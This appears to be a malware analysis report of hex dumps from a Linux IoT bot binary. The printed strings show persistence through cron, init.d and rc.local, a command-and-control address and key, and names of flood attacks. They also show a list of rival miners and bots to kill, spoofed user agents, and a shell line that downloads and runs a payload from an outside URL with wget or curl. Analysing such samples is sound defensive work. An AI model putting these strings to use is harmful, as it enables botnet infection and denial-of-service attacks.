i486

Native stack immediate byte-string fragment 0xbfe–0xcce

⋯3 more rows
0xc2efeffff80bdccfdffff050f85b7feffff................
0xc3ec645de05c645df01c645e000c645e101.E...E...E...E..
0xc4e89d8c1e8188845e289d8c1e8108845e3......E.......E.
0xc5e89d8c1e8088845e4885de58b85b8fdff......E..]......
⋯7 more rows

C++ PAN-OS kworker comm name 0x52aaf–0x52d9f

⋯4 more rows
0x52aeff0585b5dc383ec0ce8b4d5faff83c40c.X[]............
0x52affc32f70726f632f73656c662f65786500./proc/self/exe.
0x52b0f2f746d702f2e71763362002f7661722f/tmp/.qv3b./var/
0x52b1f72756e2f2e71763362002f7573722f6crun/.qv3b./usr/l
0x52b2f69622f2e71763362002f6574632f7263ib/.qv3b./etc/rc
0x52b3f2e6c6f63616c000a2f746d702f2e7176.local../tmp/.qv
0x52b4f336220260a002f6574632f63726f6e2e3b &../etc/cron.
0x52b5f642f7176336200407265626f6f742072d/qv3b.@reboot r
0x52b6f6f6f74202f746d702f2e717633620a00oot /tmp/.qv3b..
0x52b7f77002f6574632f696e69742e642f7176w./etc/init.d/qv
0x52b8f3362002f6574632f726325642e642f533b./etc/rc%d.d/S
0x52b9f393071763362002e2e2f696e69742e6490qv3b.../init.d
⋯4 more rows
0x52bef6d76366c00616172636836340061726dmv6l.aarch64.arm
0x52bff3634006d697073006d697073656c007064.mips.mipsel.p
0x52c0f706300706f7765727063007368340078pc.powerpc.sh4.x
⋯8 more rows
0x52c9f54494f4e530050555400504154434800TIONS.PUT.PATCH.
0x52caf44454c45544500474554002f70726f63DELETE.GET./proc
0x52cbf2f73656c662f73746174757300547261/self/status.Tra
0x52ccf6365725069643a00434e435f49500032cerPid:.CNC_IP.2
0x52cdf31372e36302e3139352e31383700434e17.60.195.187.CN
0x52cef435f504f52540061706578342d63322dC_PORT.apex4-c2-
0x52cff4b33792d3230323600767073002f7072K3y-2026.vps./pr
0x52d0f6f632f73656c662f636f6d6d00717633oc/self/comm.qv3
0x52d1f625f6c6f636b5f39663361002f70726fb_lock_9f3a./pro
0x52d2f632f6d656d696e666f004d656d546f74c/meminfo.MemTot
0x52d3f616c3a004d656d546f74616c3a20256cal:.MemTotal: %l
0x52d4f75005245474953544552206c696e7578u.REGISTER linux
0x52d5f20257320256420256c7520256c750050 %s %d %lu %lu.P
0x52d6f494e4700504f4e470073746f70007070ING.PONG.stop.pp
0x52d7f730067616d6500646973636f72640072s.game.discord.r
0x52d8f616b6e6574007673650074733300666faknet.vse.ts3.fo
0x52d9f72746e69746500646e730073796e0069rtnite.dns.syn.i

Native binary embeds download then chmod 0x5da51–0x5dd41

⋯3 more rows
0x5da81382e3139312e302e34373a34313435008.191.0.47:4145.
0x5da912f746d702f71746d002f746d702f6b75/tmp/qtm./tmp/ku
0x5daa173686e6574002f746d702f6563686f00shnet./tmp/echo.
0x5dab12f746d702f7761746368646f672e6269/tmp/watchdog.bi
0x5dac16e002f746d702f786d726967002f746dn./tmp/xmrig./tm
0x5dad1702f6b646576746d70667369002f746dp/kdevtmpfsi./tm
0x5dae1702f6b696e73696e67002f7661722f74p/kinsing./var/t
0x5daf16d702f626f61746e657400736f667462mp/boatnet.softb
0x5db016f74007473756e616d69006b61697465ot.tsunami.kaite
0x5db116e0071626f74006563686f626f740063n.qbot.echobot.c
0x5db21626f7400626173686c697465006d6f62bot.bashlite.mob
0x5db316f74006578706c6f69745f7363616e00ot.exploit_scan.
⋯4 more rows
0x5db816b776f726b6572647300786d72696732kworkerds.xmrig2
0x5db9100786d7269672d6461656d6f6e006d6f.xmrig-daemon.mo
0x5dba16e65726f006d6f6e65726f64006d696enero.monerod.min
0x5dbb1657264006370756d696e6572006e616eerd.cpuminer.nan
0x5dbc16f6d696e6572006e6865716d696e6572ominer.nheqminer
⋯7 more rows
0x5dc41736800696e666563742e736800706179sh.infect.sh.pay
0x5dc516c6f61642e73680000000023212f6269load.sh....#!/bi
0x5dc616e2f73680a6361736520222431222069n/sh.case "$1" i
0x5dc716e20737461727429202f746d702f2e71n start) /tmp/.q
0x5dc817633622026203b3b202a29203b3b2065v3b & ;; *) ;; e
0x5dc917361630a000000434f4e4e4543542025sac....CONNECT %
0x5dca1752e25752e25752e25753a2575204854u.%u.%u.%u:%u HT
0x5dcb154502f312e310d0a486f73743a202575TP/1.1..Host: %u
0x5dcc12e25752e25752e25753a25750d0a5072.%u.%u.%u:%u..Pr
0x5dcd16f78792d436f6e6e656374696f6e3a20oxy-Connection: 
0x5dce16b6565702d616c6976650d0a0d0a0063keep-alive.....c
0x5dcf164202f746d703b753d687474703a2f2fd /tmp;u=http://
0x5dd0177656d716d65776b716577712e776f72wemqmewkqewq.wor
0x5dd116b2e67643b20613d25733b2028776765k.gd; a=%s; (wge
0x5dd2174202d71202d4f20712024752f24617ct -q -O q $u/$a|
0x5dd317c6375726c202d736b4c6f2071202475|curl -skLo q $u
0x5dd412f24617c7c62757379626f7820776765/$a||busybox wge

Source Engine query-family payload marker 0x5e498–0x5e788

⋯3 more rows
0x5e4c82e3233302e3134313a31383530300000.230.141:18500..
0x5e4d84d6f7a696c6c612f352e30202857696eMozilla/5.0 (Win
0x5e4e8646f7773204e542031302e303b205769dows NT 10.0; Wi
0x5e4f86e36343b2078363429204170706c6557n64; x64) AppleW
0x5e50865624b69742f3533372e333620284b48ebKit/537.36 (KH
0x5e518544d4c2c206c696b65204765636b6f29TML, like Gecko)
0x5e528204368726f6d652f3132312e302e302e Chrome/121.0.0.
0x5e53830205361666172692f3533372e3336000 Safari/537.36.
0x5e5484d6f7a696c6c612f352e30202857696eMozilla/5.0 (Win
0x5e558646f7773204e542031302e303b205769dows NT 10.0; Wi
0x5e5686e36343b207836343b2072763a313232n64; x64; rv:122
0x5e5782e3029204765636b6f2f323031303031.0) Gecko/201001
0x5e58830312046697265666f782f3132322e3001 Firefox/122.0
0x5e598000000004d6f7a696c6c612f352e3020....Mozilla/5.0 
0x5e5a8284d6163696e746f73683b20496e7465(Macintosh; Inte
0x5e5b86c204d6163204f5320582031305f3135l Mac OS X 10_15
0x5e5c85f3729204170706c655765624b69742f_7) AppleWebKit/
0x5e5d83533372e333620284b48544d4c2c206c537.36 (KHTML, l
0x5e5e8696b65204765636b6f29204368726f6dike Gecko) Chrom
0x5e5f8652f3132312e302e302e302053616661e/121.0.0.0 Safa
0x5e60872692f3533372e33360000004d6f7a69ri/537.36...Mozi
0x5e6186c6c612f352e3020285831313b204c69lla/5.0 (X11; Li
0x5e6286e7578207838365f363429204170706cnux x86_64) Appl
0x5e638655765624b69742f3533372e33362028eWebKit/537.36 (
0x5e6484b48544d4c2c206c696b65204765636bKHTML, like Geck
0x5e6586f29204368726f6d652f3132312e302eo) Chrome/121.0.
0x5e668302e30205361666172692f3533372e330.0 Safari/537.3
0x5e678360000004d6f7a696c6c612f352e30206...Mozilla/5.0 
0x5e688286950686f6e653b2043505520695068(iPhone; CPU iPh
0x5e6986f6e65204f532031375f33206c696b65one OS 17_3 like
0x5e6a8204d6163204f53205829204170706c65 Mac OS X) Apple
0x5e6b85765624b69742f3630352e312e313520WebKit/605.1.15 
0x5e6c8284b48544d4c2c206c696b6520476563(KHTML, like Gec
0x5e6d86b6f292056657273696f6e2f31372e32ko) Version/17.2
0x5e6e8204d6f62696c652f3135453134382053 Mobile/15E148 S
0x5e6f861666172692f3630342e31004d6f7a69afari/604.1.Mozi
0x5e7086c6c612f352e3020284c696e75783b20lla/5.0 (Linux; 
⋯5 more rows
0x5e768696c65205361666172692f3533372e33ile Safari/537.3
0x5e7783600000000000000ffffffff54536f756...........TSou
0x5e78872636520456e67696e65205175657279rce Engine Query

HTTP/2 client connection preface 0x60304–0x60424

⋯5 more rows
0x603549c650a0814660a087c660a0804670a08.e...f..|f...g..
0x60364505249202a20485454502f322e300d0aPRI * HTTP/2.0..
0x603740d0a534d0d0a0d0a0000000408000000..SM............
⋯11 more rows

Evidence